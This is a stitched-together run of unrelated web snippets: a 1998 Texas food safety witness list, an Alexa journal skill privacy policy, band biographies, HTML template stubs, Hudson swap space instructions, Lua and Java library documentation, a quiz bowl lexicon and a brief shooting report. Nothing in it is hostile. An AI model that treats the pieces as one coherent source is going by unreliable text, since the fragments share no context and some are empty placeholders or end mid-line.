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WITNESS LIST Public Health Committee (Subcommittee on Food Safety) August 27, 1998-9:00A Food Safety For: John Williams (Harris Cty Publc Health) Reggie James (Tx. Consumer's Union) On: Chuck Courtney (Tx. Retailers Assn.) Doug DuBois (Tx. Pet.& Conv. Stores) Elsa Murano (Tx A&M University) Gary Acuff (Tx A&M University) Glen Garey (Tx. Rest. Association) Peggy Van Laanen (Tx. Ag. Extension) Steve McAndrew (TDH)


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My Journal for Amazon Alexa
Introduction
My Journal allows you to write journal entries using Amazon Alexa. Entries can be made for the current day or for previous days. You can also search past entries. All that is needed is a device with Alexa, such as an Amazon Echo, and a Google account. The journal is saved as a table with the name Journal
in Google Drive and can be manually edited at any time.
Privacy Policy
The My Journal Alexa skill, hereafter referred to as My Journal, processes Google account user tokens. By agreeing to “link My Journal and the user’s Google account” in the Amazon Alexa app, the user agrees that the Alexa service can request Google account user tokens via Google OAuth and pass them on to My Journal, which allows My Journal to see, edit, create, and delete only the specific Google Drive files the user uses with My Journal and also see, edit, create, and delete all of the user’s Google Sheets spreadsheets. My Journal uses the token only to create, see, and edit a Google spreadsheet file called Journal
in the user’s Google Drive. The tokens are not stored anywhere or used otherwise and are discarded after each request.
Journal entries are entered by users themselves using Alexa voice input. Entries are then sent to Amazon’s Alexa service and passed on from there to My Journal, which is hosted in Amazon AWS Lambda. From there, they are sent to Google’s Spreadhseet API and persisted in the Journal
spreadsheet in Google Drive. A Journal
spreadsheet uses one line for each entry in which the date and text of the entry is saved, as well as the current timestamp.
A user’s journal entries can also be retrieved. After a user has identified which entries should be retrieved, journal entries from My Journal are retrieved from the Journal
spreadhseet in Google Drive and passed on to Amazon’s Alexa service, which in turn sends them to the user’s Alexa device where they are spoken out by Alexa.
My Journal persists users' journal entries exclusively in the linked Google account under the file Journal
in Google Drive. No further storage takes place. For more information on how Amazon Alexa processes this data, see here.
A user’s journal entries are never shared with other users or otherwise made available to third parties. Of course, a user can choose to use the functions of Google Drive to share a Journal
spreadsheet with other Google Drive users or to make it public.
A Journal
spreadsheet can be edited or deleted by the user at any time using Google’s own Google Docs user interface.
The use of Google user data other than that specified above excplicitly does not take place.


Savara Mudigi is a vocalist, producer,drummer,Dj and actor. His versatility in the band has played an instrumental role during tour and in the establishment on their imprint label: Sauti Sol Entertainment. Since Sauti Sol’s inception in 2006, Savara has remained active in the group and part of the creation of Sauti Sol two albums: Mwanzo (2008) and Sol Filosofia (2011). He is currently the main producer working on the band’s upcoming album. Inspired by Sauti Sol’s first two albums: Mwanzo and Sol Filosofia, Savara says, “I write music differently as compared to any other artists out there. Much as my music will rule the world...read more
Polycarp Otieno is a guitarist and producer. His signature style – guitar riffs blends with the group’s mix of soulful vocal harmonies and drum rhythm. His love for the guitar started early when he attended free guitar lessons at All Saints Cathedral. The lessons were terminated soon after but he continued to play at the French Cultural Centre (FCC), where while studying French. Since Sauti Sol’s inception in 2006, Polycarp has remained active in the group and part of the creation of Sauti Sol two albums: Mwanzo (2008) and Sol Filosofia (2011). He is currently involved as a guitarist and producer in the band’s final production of their upcoming album. Polycarp...read more
Willis Austin Chimano is a vocalist, keytar and saxophone player. His deep voice and flamboyant style makes him stand out in the group. Before the formation of Sauti Sol, Chimano contested and won in the annual Fête de la Musique music competition at the French Cultural Centre, while studying French. After the competition Chimano went to Paris for a two-week experience where he got to sample new music translations. Since Sauti Sol’s inception in 2006, Chimano has remained active in the group and part of the creation of Sauti Sol two albums: Mwanzo (2008) and Sol Filosofia (2011). He is currently involved as a guitarist and producer. Chimano says: “I met...read more
Bien-Aime (French for beloved) Baraza is a vocalist, songwriter and guitarist. His style of singing is soulful and his songwriting skills celebrated by many. Since Sauti Sol’s inception in 2006, Bien-Aime has remained active in the group and part of the creation of Sauti Sol two albums: Mwanzo (2008) and Sol Filosofia (2011). Bien-Aime occasionally writes songs for other artists like Elani, Amos & Josh and Wendy Kimani. He says of songs from Sauti Sol’s first two albums: Mwanzo and Sol Filosofia, “I love to write songs. And women inspire me. My thought process equates songs to women; to an extent I call our songs my women. Lazizi is the hot girl at the bar. Zosi is the good sweet...read more


{% extends "layout.html" %}
{% set active_page = 'commands' %}
{% block title %}Commands{% endblock %}
{% block body %}
Commands
List of all the commands that can be run by the bot. Check out each category:
| Command |
Output |
{% for command in custom_commands %}
| {% include 'helper/command_usage.html' %} |
{{ command.parsed_description }} |
{% endfor %}
| Command |
Cost |
Description |
{% for command in point_commands %}
| {% include 'helper/command_usage.html' %} |
{{ command.cost }} |
{{ command.parsed_description }} |
{% endfor %}
| Command |
Description |
{% for command in moderator_commands %}
| {% include 'helper/command_usage.html' %} |
{{ command.parsed_description }} |
{% endfor %}
{% endblock %}


{% extends "base.html" %} {% block extra_head %}{{ block.super }} {% endblock extra_head %} {% block active_index %}active{% endblock active_index %} {% block content %}
Click the map within Chicago to locate nearby landmarks and determine the neighborhood.


On Unix systems, you may experience errors like the following. This document explains why this happens and how to solve this.
java.io.IOException: Not enough space at java.lang.UNIXProcess.forkAndExec(Native Method) at java.lang.UNIXProcess.<init>(UNIXProcess.java:53) at java.lang.ProcessImpl.start(ProcessImpl.java:65) at java.lang.ProcessBuilder.start(ProcessBuilder.java:451) at java.lang.Runtime.exec(Runtime.java:591) at java.lang.Runtime.exec(Runtime.java:429) at java.lang.Runtime.exec(Runtime.java:326)
Why?
Not enough space in forkAndExec is normally caused by insufficient swap space. In Unix, the way Java launches a new process is first by forking the current process and then exec-ing. Therefore, for a brief period between fork and exec, there's temporarily two instances of your application server running on your system. If the application server you are running Hudson in is using 1GB virtual memory, this means you temporarily need 2GB of virtual memory, meaning more swap space.
If your Hudson is really busy and it launches a lot of processes, in theory you could be temporarily running more than 2 instances of your application server.
There are many ways to check the usage of swap space, but I usually use the "top" command, which is available on most Unix systems.
This is a Unix-specific issue, as Windows launches child processes without forking.
How to solve this issue
Since the issue is the lack of the virtual memory, you can resolve this issue by adding more swap space to your system. How you do this depends on OS.
If you know how to do this for OSes not listed here, please add it
Solaris
First create a file to be used as a swap space, then add it as the swap. You can finally verify that the new file is active by listing all active swap files.
/usr/sbin/mkfile 1g /path/to/swapfile /usr/bin/swap -a /path/to/swapfile /usr/bin/swap -l
You will have to manually edit /etc/vfstab to make the newly added swapfile survive reboots.
Linux
First create a file to be used as a swap space, then format it properly, and finally add it as the swap. The total size of the new swap file is bs*count (in the example below it'll create a 1G swap)
dd if=/dev/zero of=/path/to/swapfile bs=1M count=1K mkswap /path/to/swapfile swapon /path/to/swapfile
You will have to manually edit the appropriate file on GNU/Linux to make the newly added swapfile survive reboots.


What is this?
Slideborg is designed for presenters and has a couple use cases:
Say you're at an unconference and you're short a projector, but most everyone has their own laptop or tablet. Share a Slideborg url with your audience, and they can view your slide deck while you control it from your own device.
This time you're at a conference that has a projector, but you don't want to stand at your laptop to control it. A remote would sure be handy, but you don't have one :( Just load up a Slideborg url on your laptop, and control it via your phone or tablet.
There are other possibilities as well! Imagine putting on a remote presentation where no one is in the same location. We hope you enjoy!
What slide decks are supported?
Currently we support deck.js, impress.js, and reveal.js.
Support for SlideShare and Speaker Deck is in progress.


Option groups can help provide contextual groupings about the options provided:
{{ favoriteTopping ? 'Your favorite topping is ' + favoriteTopping : 'Please select a topping'}}


HTC Desire 19s is an inexpensive triple-camera smartphone
by Brad LinderDespite selling much of its smartphone team to Google a few years ago, Taiwanese device maker HTC has continued building phones… particularly weird ones like the HTC Exodus line of blockchain smartphones.
The new HTC Desire 19s is little less weird… unless you consider the fact that HTC is still in the phone business to be weird.
It’s a relatively cheap phone with a set of features that used to be reserved for flagships including a waterdrop-style notch, a 3-camera setup on the back of the phone, NFC, and a fingerprint sensor.
The Desire 19s is available in Taiwan for just under $200. There’s no word in or or when you’ll be able to pick one up in other regions.
The phone doesn’t have as much memory or storage as most modern flagships, but it does have a microSD card reader for removable storage. And it has a fairly large battery.
Here’s a run-down of some key specs:
- 6.2 inch, 1520 x 720 pixel IPS display
- MediaTek Helio P22 octa-core processor
- 3GB RAM
- 32GB storage + microSD card reader
- 13MP primary + 5MP ultrawide + 5MP depth cameras
- 16MP front camera
- 3,850 mAh battery
- 10W charging (USB Type-C
- 802.11ac WiFi
- Bluetooth 5.0
- NFC
- Dual SIM, dual standby
- Android 9.0 with HTC Sense
HTC may not be in the flagship phone business anymore. But there’s something nice about knowing that the company that built my favorite PDA 15 years ago is still in the mobile space.


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Select... Random Quote Corporate Theme Movie Quote
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Persona name here...
Persona age here...
Persona gender here...
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Persona location here...
Bio
Persona bio here...


Plugin Preferences
Automatically check for updates
Create new ThermalZone for each Space
Unit System
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(restart required for settings below to take effect)
Disable OpenStudio User Scripts Menu
OpenStudio Root Directory:
EnergyPlus Translation
Show Errors on Idf Translation
Show Warnings on Idf Translation


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This determines how strongly gravity affects this particle. ANAR has this set as negative for example!
// No effect
Gravity = 0f;
// Floats upwards at normal gravity's speed
Gravity = -1f;
// Floats downwards almost at normal gravity's speed
Gravity = 0.999f;


Module bk-tree
bk-tree datastructure
http://en.wikipedia.org/wiki/BK-tree
Info:
- Release: version 1.0.3
- License: MIT
- Author: Robin Hübner
<EMAIL_ADDRESS>-
bk_tree:new ([root_word[, dist_func=levenshtein_dist]])
-
Creates a new bk-tree.
Parameters:
- root_word
string
the root of the new tree
(optional)
- dist_func
function
the distance function used
(default levenshtein_dist)
Returns:
the new bk-tree instance
See also:
Usage:
local bktree = require "bk-tree"
local tree = bktree:new("word")
-
bk_tree:insert (word)
-
Inserts word into the tree.
Parameters:
Returns:
bool
true if inserted, false if word already exists in tree
Usage:
local bktree = require "bk-tree"
local tree = bktree:new("root")
local success = tree:insert("other_word")
-
bk_tree:query (word, n)
-
Query the tree for matches.
Parameters:
- word
string
- n
number
max edit distance to use when querying
Returns:
{{str=string,distance=number},....}
table of tables with matching words, empty table if no matches
Usage:
local bktree = require "bk-tree"
local tree = bktree:new("word")
tree:insert("hello")
tree:insert("goodbye")
tree:insert("woop")
local result = tree:query("woop", 1)
-
bk_tree:query_sorted (word, n)
-
Queries the the tree for a match, sorts the results.
Calls query and returns the results sorted.
Parameters:
- word
string
- n
number
max edit distance to use when querying
Returns:
{{str=string,distance=number},....}
table of tables with matching words sorted by distance, empty table if no matches
Usage:
local bktree = require "bk-tree"
local tree = bktree:new("word")
tree:insert("woop")
tree:insert("worp")
tree:insert("warp")
local result = tree:query_sorted("woop", 3)
-
bk_tree.levenshtein_dist (s1, s2)
-
Levenshtein distance function.
Parameters:
Returns:
number
the levenshtein distance
-
bk_tree:debug ()
-
Hooks debugging into tree execution.
Keeps track of number of nodes created, queries made,
note that this must be run directly after tree is created
in order to get correct information.
Usage:
local bktree = require "bk-tree"
local tree = bktree:new("word")
tree:debug()
tree:insert("perceive")
tree:insert("beautiful")
tree:insert("definitely")
local result = tree:query("definately", 3)
tree:print_stats()
Nodes: 4
Queries: 3
Nodes Queried: 75%
-
bk_tree:print_stats ()
-
Print execution stats.
Prints nodes queried and total nodes, as well as a fraction of
nodes visited to satisfy the query, resets the counter of nodes queried when called.
See also:
-
bk_tree:get_stats ()
-
Fetch execution stats.
Returns a copy of the execution stats that print_stats would print, requires debug to have been enabled
to not just return defaults. Useful if you want to profile things.
Returns:
{key = value,...}


Execute Selected Tests
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username:
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runname:


Embedding in a Java application
Introduction
This page describes how to integrate Barcode4J in a Java application.
Basic steps
There are several basic steps involved for generating barcodes:
- Provide an Avalon Configuration object to configure the barcode engine
- Create a BarcodeGenerator
- Create a CanvasProvider (depending on the output format)
- Finally generate the barcode
Providing an Avalon Configuration object
Barcode4J uses Avalon Framework for configure the barcode symbology used. This is done in the form of a Configuration object. Please refer to the Avalon documentation for further examples. We simply provide an example for the most frequently used approach to get such a Configuration object. We load the Configuration from an XML file:
Here's an example:
import org.apache.avalon.framework.configuration.Configuration; import org.apache.avalon.framework.configuration.DefaultConfigurationBuilder; [..] DefaultConfigurationBuilder builder = new DefaultConfigurationBuilder(); Configuration cfg = builder.buildFromFile(new File("C:\Temp\barcode-cfg.xml"));
An XML loaded in the above way would have to look like the following example. You will notice that this is basically the Barcode XML.
<?xml version="1.0" encoding="UTF-8"?> <barcode> <ean13> <module-width>0.4mm</module-width> </ean13> </barcode>
For other ways to build the Configuration object please check the Avalon documentation or browse the source code of Barcode4J for more examples.
Creating a BarcodeGenerator
The BarcodeGenerator is used to generate the logical parts of a barcode (narrow bars, wide bars etc.).
To make it easy to create the BarcodeGenerator use the BarcodeUtil singleton class. This class will choose the correct barcode implementation depending on the configuration you've built above.
BarcodeGenerator gen = BarcodeUtil.getInstance().createBarcodeGenerator( cfg );
Creating the CanvasProvider and generating the barcode
We combine the last two steps in one section because the last step depends heavily on the other.
The CanvasProvider takes the painting instructions and transforms them to the target format. Depending on the desired output format you need to instantiate a different class.
All CanvasProvider classes support an orientation value as the last parameter. Normally, you will just specify "0", but you can rotate the barcode in steps of 90 degrees. Valid values are 0, 90, -90, 180, -180, 270 and -270.
SVG
Here you have two classes to choose from, depending on the preferred DOM implementation (W3C DOM or JDOM).
SVGCanvasProvider provider = new SVGCanvasProvider(false, 0); gen.generateBarcode(provider, msg); org.w3c.dom.DocumentFragment frag = provider.getDOMFragment();
..or..
JDOMSVGCanvasProvider provider = new JDOMSVGCanvasProvider(false, 0); gen.generateBarcode(provider, msg); org.jdom.Document doc = provider.getDocument();
The boolean parameter on the two constructors instruct the implementation not to use namespaces for the output (in this example). There are also constructors where you can freely choose the prefix to use. Please refer to the javadocs for more information.
If you need the barcode as an XML file, it is quite simple to use basic JAXP code to serialize the DOM to a file.
EPS
The EPS output simply takes an OutputStream to write to. One speciality is the need to call the finish() method after the generation because the EPS needs to be finished with a trailer part.
OutputStream out = new java.io.FileOutputStream(new File("output.eps")); EPSCanvasProvider provider = new EPSCanvasProvider(out, 0); gen.generateBarcode(provider, msg); provider.finish();
Bitmaps
The bitmap output, like the EPS output, takes an OutputStream to write to. But in addition to that it needs the MIME type (or short format type) of the desired output format. Furthermore, it needs the resolution of the bitmap in dpi (dots per inch), the image type (which is one of BufferedImage's constants defining the color depth) and a boolean to enable or disable anti-aliasing. The BitmapCanvasProvider also needs a call to the finish() method to encode the internally built image to the desired image format.
OutputStream out = new java.io.FileOutputStream(new File("output.png")); BitmapCanvasProvider provider = new BitmapCanvasProvider( out, "image/x-png", 300, BufferedImage.TYPE_BYTE_GRAY, true, 0); gen.generateBarcode(provider, msg); provider.finish();
The example here produces a grayscale PNG with 300 dpi and anti-aliasing.
Instead of writing the bitmap to a file you can fetch the BufferedImage instead. That would look like this:
BitmapCanvasProvider provider = new BitmapCanvasProvider( 300, BufferedImage.TYPE_BYTE_GRAY, true, 0); gen.generateBarcode(provider, msg); provider.finish(); BufferedImage barcodeImage = provider.getBufferedImage();
Java2D (AWT)
Finally, we'll want to show you how to paint a barcode on a surface of your choosing. In principle, you just need to provide the Java2DCanvasProvider with a Graphics2D interface that it can paint on. However, since the Java2D output internally works with millimeters (mm) you need to make sure the Graphics2D is prepared for that. This means you may need to apply a transformation before painting the barcode. See the BitmapBuilder class for an example. BitmapBuilder is responsible to set up the Graphics2D object for painting barcodes on bitmaps for the bitmap output support.
It's a good idea, if possible, to enable fractional metrics for higher quality: g2d.setRenderingHint( RenderingHints.KEY_FRACTIONALMETRICS, RenderingHints.VALUE_FRACTIONALMETRICS_ON )
Graphics2D g2d = <something> Java2DCanvasProvider provider = new Java2DCanvasProvider(g2d, 0); gen.generateBarcode(provider, msg);
by Jeremias Märki


Loads an external csv file, creates a custom quantitative color scale using L*a*b interpolation, and enables brushing.


Flexhang1357.github.io
Nocrotec Nixie Clock - The Nixie Queen - Nixie Röhren.
In our shop you will find: - Nocrotec Nixie Clocks. Nocrotec Nixie Clock The Nixie Queen Designed by Dieter Wächter last update and finished: July-11-2009. Back to Dieter s Nixie Tube Page Email to Dieter. Nocrotec V600 Nixie Clock - Nixie Röhren - Nixie Tubes. Here you will find the complete review from Brian The initial idea of that project was a Nixie tube clock which has a flat shiny stainless steel case and 6 pcs. 30mm Nixie tubes of the well known Z5660M and ZM1042 types. Schönes Leben auf zwei Rädern. TubeClockDB - Nocrotec Sylvia Clock. IN-18 Blue Dream Nixie Tube Clock Demo. If you want to buy this clock - klick here: nocrotec.com This demo shows the Nixie clock in action. Enjoy! Thanks. Nocrotec V600 Nixie Clock STEAMPUNK in 2018 Pinterest.
Finished this back in June. Finally got around to videoing it. It was build from a kit useing Russian surplus nixie tubes and the kit is from Germany.
Nocrotec Shop - Nocrotec Nixie Tube Clocks - Nixie R?hren Uhren - Digitech Upgrade Software Firmware Update EPROM Chips. Röhrenplatine V1.08d - Nixieuhren Nixie Uhr Nixie Clock. Nixie clock Nocrotec Handbücher. Die Little Blue Something Nixie Clock ist ein optischer Leckerbissen. Wer das konturenscharfe Leuchtbild und den bezaubernden Purple Haze der SK-207-Röhren kennt, der weiß den Wert dieser Röhren und damit dieses Bausatzes zu schätzen. This clock is based on Vacuum Fluorescent Display tubes. They are a seven-segment based display like most led clocks but these are quite a bit different. For starters, this clock costs nearly 100x as much as your normal department store clock. The digits have a beautiful cyan color and the design of the tube allows you to see the inner workings. Image and brief description are from Nocrotec. Nov 11, 2018- This Pin was discovered by Mark Dziubczynski. Discover (and save!) your own Pins on Pinterest.
IN-18 Blue Dream Nixie Clock Demo #1 - YouTube. Tube board V1.08e - Nixieclocks. Die Wegbereiter für kluges Online-Shopping - jeder Kauf eine gute Entscheidung.
The Little Blue Something Nixie Clock is a visual delicacy and the prettiest clock we know. The one who knows the high-definition glow and the fascinating Purple Haze of the B-5853 tubes, appreciates the value of these tubes and with it the value of this Nixie Clock.


Custom search service example
This example uses an Ensembl web service to provide annotation search capability for Macaca Fasciularis. To test search for 'OLIG3'


Hello there, I'm....
I'm an Operations Manager working for Coyote, a logistics start-up based in Chicago. While it was my job that recently led me to the Mile High city, the easy-access to the outdoors and the unbelievable weather have made it an enjoyable place to call home. I'm a huge fan of most outdoor activities (glamping, included), snowboarding, running, yoga & reading.
I'm excited to learn how to code, as I've always found WebDev interesting (and it's certainly proven challenging!), and I really enjoy seeing the work I create come to fruition.
Albeit I genuinely enjoy learning, the great outdoors and all of the fun activites that go along with it, by far the most important things to me are my friends, family, and my dog Moose!
I hail from the Windy City but currently call Denver, CO home. I've basically been transferring myself between Colorado and Illinois for about ten years now as I graduated high school in IL, attended Colorado State University, lived back in Chicago for four years after college, and have somehow found myself back in Mile High!
I enjoy hot yoga, running, reading and snowboarding. I consider myself somewhat of a foodie and enjoy trying new restaurants as much as I can!
Well, I'm still in the process of figuring that out! What led me to WebDev is my interest in technology and the web, so I'm trying out coding for fit and will see what it leads to! The most important aspect for me is finding work that I find challenging and fulfilling.
Given the season, I've been listening to a lot of Michael Buble Christmas music, but have also taken a liking to Miami Horror's latest album, 'All Possible Futures.'


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I need to pass some new data to the functions of queens but i don't understand how they use the options. In the main() they just run the program with: Example::run<Queens,DFS,SizeOptions>(opt); How do i pass for example a string or int to Queens from the main function if i need to use it for new operations? Please help me!!


Thank you for purchasing Real Estate - Business and Finance HTML Template. If you have any questions that are beyond the scope of this help file, please feel free to email, via my user page contact form or put a ticket at Support Center .
Thankyou so much!

Unique Design

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If you would like to edit a specific section of the site, simply find the appropriate label in the CSS file, and then scroll down until you find the appropriate style that needs to be edited.
In addition to the custom scripts, I have implemented few "tried and true" plugins to create the effects. This plugin is packed, so you won't need to manually edit anything in the file. The only necessary thing to know is how to call the method
Those are required attribute which is listed below:
unique id
data-map-lat
data-map-lng
data-map-zoom
You can change recipient name and email address in sendemail.php
To change pre defined color scheme you have to add color scheme file's in your working file. Let's think we have choose full width layout of our template. Then we want to add color scheme like theme-2. So We have to copy color.css file from theme-2 folder and paste it to css/custom folder.
Then We have to add some images for color scheme. For that we have to copy skin folder and paste it to images folder. Like here we want to change color scheme to theme-2 so we have to copy skin folder of theme-2 and paste it to our full-width theme folder's images folder.
For more details See the video Below:
Please view this on high resoultion and full screen
Fonts Used are :
Vidaloka
Open Sans
File Used For Animation Effects :
hover.css (in assets Folder)
Sliders Used Are :
Plugins Used Are :
FancyBox (can be located in assets folder)
jQuery Validation (can be located in assets folder)
jQuery UI (can be located in assets folder)
Gmap.js (can be located in assets folder)
jQuery MixItUp (can be located in assets folder)
Every Code is properly commented for Editing Ease.Email Us at : iamsteelthemes@gmail.com


--- title: UGRC Newsletter Archive layout: page_nocrumb author: display_name: JP email<EMAIL_ADDRESS>tags: [] categories: [] date: 2013-07-09 17:38:46 -0600 ---
UGRC distributes a monthly newsletter that features UGRC news and other statewide GIS announcements. {% include contact.html subject=page.title contact=site.data.contacts.newsletter text='If you have an item you would like included in the newsletter, contact' %} Map spotlights, events, and other technical news from the community are always welcome. Subscribe to the newsletter at the bottom of any webpage on gis.utah.gov. All individual blog posts are available on the news page.
UGRC Newsletter September 2018
UGRC Newsletter November/December 2017
UGRC Newsletter September/August 2017
UGRC Newsletter January/February 2017
UGRC Newsletter November/December 2016
UGRC Newsletter September 2016
UGRC Newsletter June/July 2016
UGRC Newsletter February/March 2016
UGRC Newsletter September 2015
UGRC Newsletter May & June 2015
UGRC Newsletter February/March 2015


--- layout: base title: About ---
Josh Friedman is a musician from St. Louis, MO. He has been playing piano for over a decade. Josh has studied at music at Boston University (BA), Berklee, and Washington University. He has played piano and keyboards in groups that have performed around the world and has been teaching piano for over seven years. You can hear samples of his work here:


Two injured in Sarasota shooting Sunday night
by WFTX Digital TeamSARASOTA, Fla. -- Two people are in the hospital with life-threatening injuries after a shooting in Sarasota Sunday night.
It happened around 9 p.m. at the corner of Carver Street and Orange Avenue.
Police think the shooting happened next to a playground. They spent hours canvassing the area, looking for evidence and potential witnesses.
Police say one victim is a teenager and the other is an adult. There’s no other information on who they are at this time.
As of Monday morning, police say the victims remain in critical, but stable condition at Sarasota Memorial Hospital.
If you know anything about what happened, call the Criminal Investigation Division at<PHONE_NUMBER>.


Since the team page is on my account, I present my version of the lexicon-
in spite of the rating given by Dave Hamilton. Also, I deleted
the old entries that so amused Dave at the request of one B.R. from
Manassas, VA. Granted, those stories were pretty funny, but I was a
little dissapointed at the rating since I had put so much effort into
creating the new lexicon.
Besides, those were the stories of a different era. By golly, I alone
have enough personality quirks and episodes of strange behavior to create
a good lexicon, even if it involves another school taking potshots at my
neuroses. However, you're always free to suggest new entries or create
your own definitions, if only to annoy either yours truly or Dave
Hamilton, or both of us.
Basement of the Science Building, The Phrase borrowed from a tape
played on the Don and Mike Show. It refers to the subspecies of the quiz
bowl player that has a good knowledge of subjects such as science fiction
and comic books. Although many math, science, and engineering majors are
"from the basement of the Science Building", I am not one of them.
Instead, I could be the rarer "jock geek" (According to Steve Gray,
engineering majors qualify as geeks)
Berkeley Trash A trash packet that by definition contains way too
much sex, violence, and off the wall weird stuff in addition to questions
that really don't count as trash. At BCBC 3, groans were often heard when
the authors were announced as being from the Berkeley west coast trash
tournament that produced such questions.
Boomhauer- A moderator who reads too quickly, confusing one or both
teams. This is named in honor of the character from King of the Hill,
although it can also be used at times to describe my style of packet
reading.
Buzzgasam- A feeling of overwhelming excitement that overcomes some
players after a particularly good answer. Reactions to buzzgasams vary
among players, but if you ever hear moaning when you're standing outside
of a closed game room, you may be hearing a player have a buzzgasam.
(Otherwise, you probably don't want to know or imagine what else could be
happening given many qb players). Currently, the best example of a
buzzgasam that I can think of involved Shawn Pickrell and a tossup about
www.ourfirsttime.com at UMBC's 1998 trash tournament.
bw-3- Local resturaunt where team players occasionally congregate
to play NTN, although we prefer to play at Damon's, which unfortunately
decided to run QB-1 during the Thursday night college football season
instead of the sports trivia challenge. (Personally, I like QB-1 well
enough on Monday night or for Sunday games, but we'd like to go there on
Thurs. nights as well.) We intend to see just
how well we can do in the national rankings several times this year.
Cheerwine(TM) Soft Drink
The official offering to the Queen Goddess of Quiz Bowl, Allison Holmes.
(see the Georgetown lexicon for the source) The whole thing started as a
response to a question I wrote for a tournament that mentioned a
particular soft drink (which shall remain nameless). Anyway, since I was
attending Georgetown's tournament the week after, I thought that I would
bring two cases of the aforementioned beverage, with one for North
Carolina native Allison and the other for the tournament winner (the drink
is unavailable to those who reside north of Charlottesville). We did well
at the tournament, so I brought 2 2-liter bottles for Allison
for the Georgetown-hosted TRASH regional two weeks later.
"Conditioning, Conditioning, Conditioning"The mantra I repeat to my
teammates when they begin to complain about being tired midway through a
tournament or towards the end of a tournament..also used when people claim
to be tired just because the had to get up in the early morning hours of a
tournament day (5:30 or so....Since I have had early classes for most of
my years at UVA, getting up at a very early hour doesn't bother me as
much)
Contempt for the Question A phrase used to delineate the game plan
for CBI questions, which boils down to "buzz in quickly, the answers are
that obvious and poorly written".
Don and Mike Show - A
nationally syndicated radio show that
entertains a few people during trips to tournaments. I recommend playing
a tape of their 1997 Bad Song Show, if you can find one. This is also a
source of some other strange things that I'll say that are essentially
inside jokes to show listeners.
Euchre, Bob Identity given to a player on the Virginia Bob team
from a tournament that will remain anonymous.
Exit 43 A The exit on I-66 that takes you to U.S. 29 South
(Gainesville/Warrenton), also the exit that one takes from the D.C. area
to Charlottesville. I mention this since the exit ramp lines force you to
shift before the exit 43 B turnoff (29 North), confusing some passengers
who fear that I am exiting prematurely.
Fauquier County - My hometown of Warrenton is the county seat of
this Virginia county known for having an above-average capacity for
strangeness. If the psychologists who say that people are influenced by
their environment are correct, it could go a long way into understanding
my weirdness. Of course, due to its name and pronunciation
Hardcore- Phrase used by some people on the quizbowl circuit
to describe higher-difficulty level ACF questions. At least one of these
players, (probably the current Virginia lexicographer),apparently uses
this phrase since he lacks the necessary intellegence and/or education to
consistently score 30+ ppg on packets with these questions.(See Dave
Hamilton's review) Not to be confused with "Stump the Chump"
Honorary _______ Title given to some UVA players in that they are
the closest thing to an actual member of a certain group. For instance,
Steve Gray was once an "Honorary Southerner". I have been named an
"Honorary Texan" in recognition of some of my personality traits.
Innuendo A naturally occuring phenomenon that often manifests
itself in the conversations of some quiz bowlers. Symptoms include making
subtle sexual references while writing questions, quick recognition of
double entrendes, and use of the phrase "double entrendes".
"It's Just That Easy"-Phrase often heard after what appears to be
an obvious answer is actually the correct answer to the question..often
after several people could have buzzed in with the answer long before
anyone actually attempts to answer the question.
Masturbation- Phrase used by some on the mailing list to describe
the practice of discussing various side topics or bragging about the
prowess of themselves or others. One could argue that the practice of
team lexicography is in itself the ultimate form of masturbation, but I
disagree. However, at times, you could argue that a lot of Kleenex(TM)
seems to be used on the circuit (insert rim shot)
Nicknames Something that the current UVA team lacks, perhaps
because your current lexicogapher would be the only person who would use
them. However, I think it would be cool if we had individual nicknames,
much as some of the Georgetown players have nicknames.
"Punch and Judy Offense" - Old baseball term that I decided to
borrow to describe a team that has low bonus conversion during a game or
tournament. If "Pop Gun" is a funnier term, feel free to use that instead
of "Punch and Judy". Other alternatives: "George Welsh with a 21 point
lead offense", "Three and Out"
Premature Excitation - Answering a question that you were sure
you had the correct answer to, only to neg, often deflating a planned
buzzgasam. Typically, the respondant discovers that had he or she waited,
they would have heard a clue that would have allowed them to buzz in with
the correct answer, often within a word or two of the neg. Inevitably,
a premature excitation either prevents a teammate from nailing the
tossup or the tossup is not answered by the team with the free shot at
the question, further embarrassing the player.
Sarcasm Along
with
trash questions, something that has no place in a quality tournament. ;)
STAB - Shorthand for St. Anne's Bellfield,
a Charlottesville
private school that often appears at UVA tournaments, led by coach Randy
Cornell, a frequent moderator at our tournaments. Disclaimer: This
entry was meant to inform and not entertain.
Steinheice A 30-20-10-5-1 bonus named after its originator, the
current host of Tennessee Trashmasters. A sample "Steinheice" would go
like this:
30: This current UVA player was born in 1976 in Greenville, South
Carolina.
20: This music buff appeared in a crowd scene in the video of "Breakfast
at Tiffany's"
10: He earned his undergraduate degree in 3 years from The University in
1997 and was an Echols scholar.
5: In addition to being a Libertarian, he is also a Red Sox fan.Talk
about your noble lost causes
1: His first name is Steve and his last name is the same as a color.
A: Steve _ Gray _
"Stump the Chump" A phrase some people in the quiz bowl community
use for questions that are patently designed to be obscure to the lay
quiz-bowl player. (At least how I, a below-average player, see it)
Three and Out or "Punting" Any three-part bonus where the team
will not only score a grand total of nothing, but lack an educated guess
as to the answers. However, a captain with a good sense of humor may give
some goofy answers just for fun in such a situation. If playing by NAQT
rules, the clock can play a role in how quickly a team will punt.
Wahoo Warmageddon Warning: informative, non-entertaining
material ahead. - A proposed tournament that would take place over 24
hours, featuring random scheduling, moderator's discretion over scoring,
coffee and caffinated sodas that would only be available during the course
of play, and anything-goes "theme rounds" at the moderator's discretion
Wheelhouse A phrase borrowed from baseball to describe a question
that is in a particular subspecialty of a player's specialty that produces
a no-sweat 30 for a bonus or a very quick tossup answer. Typical examples
of wheelhouse boni include football questions for Brian Hight, British
rock musicians for Steve Gray and Babylon 5 for Alex Richman.
"You forget, you are talking to the great unknowledged and great
uncaring"
I uttered this memorable phrase one night at bw-3 in response to
a comment from Chris Lee, who, in his a fit of righteous indignation,
proclaimed that "Humphery Bogart made pictures, not movies". This line
became an immediate classic, actually remembered by people other than
myself.
Designed by Jamie
Plummer. Maintained by Brian M. Hight. Website
mail to
bmh3c@virginia.edu


The Syncker
Running...
Stoped
settings
Settings
Settings
Enter the absolute path of the folder you want to sync
Path
Remote server url
Console


Brian's passion for all things machine learning, solutions architecture, and years of experience leading teams in his previous career, enable him to see the potential in everyone, and help teams design and develop machine learning solutions to some of todays most challenging problems.
Erik is a Data Science student with a who has a background of doing backend development in Python and Java.
Data Science student at Lambda School, with B.S. in Economics.
As part of the Front End Development team, I constructed the static web pages for this website. When I'm not doing developer stuff I like to play some video games and train in boxing and muay thai. Also a huge fan of boxing and mma.
I enjoy cooking delicious meals, playing music, and someday I wish to own a farm in Italy.


Lionel:
